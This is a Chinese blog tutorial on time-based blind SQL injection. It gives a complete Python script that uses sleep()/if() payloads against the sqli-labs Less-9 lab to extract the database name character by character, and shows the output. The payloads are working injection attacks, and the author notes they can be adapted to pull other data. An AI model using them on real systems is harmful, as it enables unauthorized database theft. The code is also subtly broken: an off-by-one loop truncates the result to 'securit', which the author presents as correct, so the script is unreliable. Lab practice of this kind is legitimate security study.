前言:
前面学习了布尔盲注的exp,原理是根据页面的两个返回状态来确定注入的语句是否正确执行,从而得到我们想要的数据,但有时候,页面只会返回一种状态,布尔盲注就无法实行了,此时,我们就要用到另一种盲注方式:时间盲注,也叫延时注入
延时注入原理:
延时注入是利用sql语句达到延时的目的,在mysql中用的sleep()函数,
select sleep(3) 数据库延时3秒 返回信息。利用这个函数加上if函数进行判断,就可以达到延时注入,注入得出数据。
我们在exp中怎样利用呢?
我们可以获取注入代码执行之前的时间戳和注入代码执行后的时间戳,取两者的时间差,当时间差大于或等于我们注入语句中构造的延时时间(受到网络情况或其它因素的影响,一般延时的时间会大于我们规定的时间),则说明该注入语句被数据库成功执行,我们仍然要先获取到查询数据的长度,在依次判断出每一个字符,从而得到最终的数据。
有了这个思路,具体实现就很容易了:
我使用的环境是sql-labs靶场的第9关,直接用burp抓到数据包:

exp代码:
import requests
import time
#获取数据的长度
def getstrlen(url1,headers):
data_len=0
i=1
while True:
time_start=time.time() #获取注入语句执行前的时间戳
payload=f"' and if(length((select database()))={i},sleep(3),0) --+" #注入语句
url = url1 + payload
html=expliot(url,headers)
#比较前后时间差与规定的延时时间
if((time.time()-time_start)>=3):
data_len=i
break
else:
i+=1
return data_len
#获取数据
def get_data(url1,headers,data_len):
content=''
for i in range(1,data_len,1):
for j in range(1,125,1):
payload=f"' and if(ascii(substring((select database()),{i},1))={j},sleep(3),0) --+"
url = url1 + payload
start_time=time.time() #获取注入语句执行前的时间戳
html=expliot(url,headers)
# 比较前后时间差与规定的延时时间判断出每一个字符的值
if((time.time()-start_time)>=3):
c=chr(j) #ascii转字符
content+=c
print(f"判断出第{i}个字符为:{c}\r\n")
break
return content
#执行注入语句
def expliot(url,headers):
response=requests.get(url,headers)
content=response.content
return content
def run():
url1 = "http://192.168.43.2:9998/Less-9?id=1"
header = '''
Host: 192.168.43.2:9998
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:98.0) Gecko/20100101 Firefox/98.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Connection: close
Upgrade-Insecure-Requests: 1
Cache-Control: max-age=0'''
# 去参数头尾的空格并按换行符分割
headers = header.strip().split('\n')
# 使用字典生成式将参数切片重组,并去掉空格,处理带协议头中的://
headers = {x.split(':')[0].strip(): ("".join(x.split(':')[1:])).strip().replace('//', "://") for x in headers}
#print(headers)
data_len=getstrlen(url1,headers)
content=get_data(url1,headers,data_len)
print(f"判断出最终结果为{content}")
if __name__=="__main__":
run()
执行结果(执行的时间由我们规定的延时时间决定的,因此延时时间不要设置太长,但是也不要设置太短了,可能会造成误判,根据实际情况而定):
判断出第1个字符为:s
判断出第2个字符为:e
判断出第3个字符为:c
判断出第4个字符为:u
判断出第5个字符为:r
判断出第6个字符为:i
判断出第7个字符为:t
判断出最终结果为securit
这里我获取的数据是当前数据库的名字,获取其它数据更改代码中的payload就行了
本文介绍了时间盲注的概念和原理,通过MySQL中的sleep()函数实现延迟效果。在Web安全领域,当布尔盲注无法应用时,可以利用时间盲注来探测数据库信息。文章以Python编写的时间盲注EXP为例,展示了如何在sql-labs靶场的第9关中获取数据库名,并强调了延时时间设置的重要性。

1209

被折叠的 条评论
为什么被折叠?



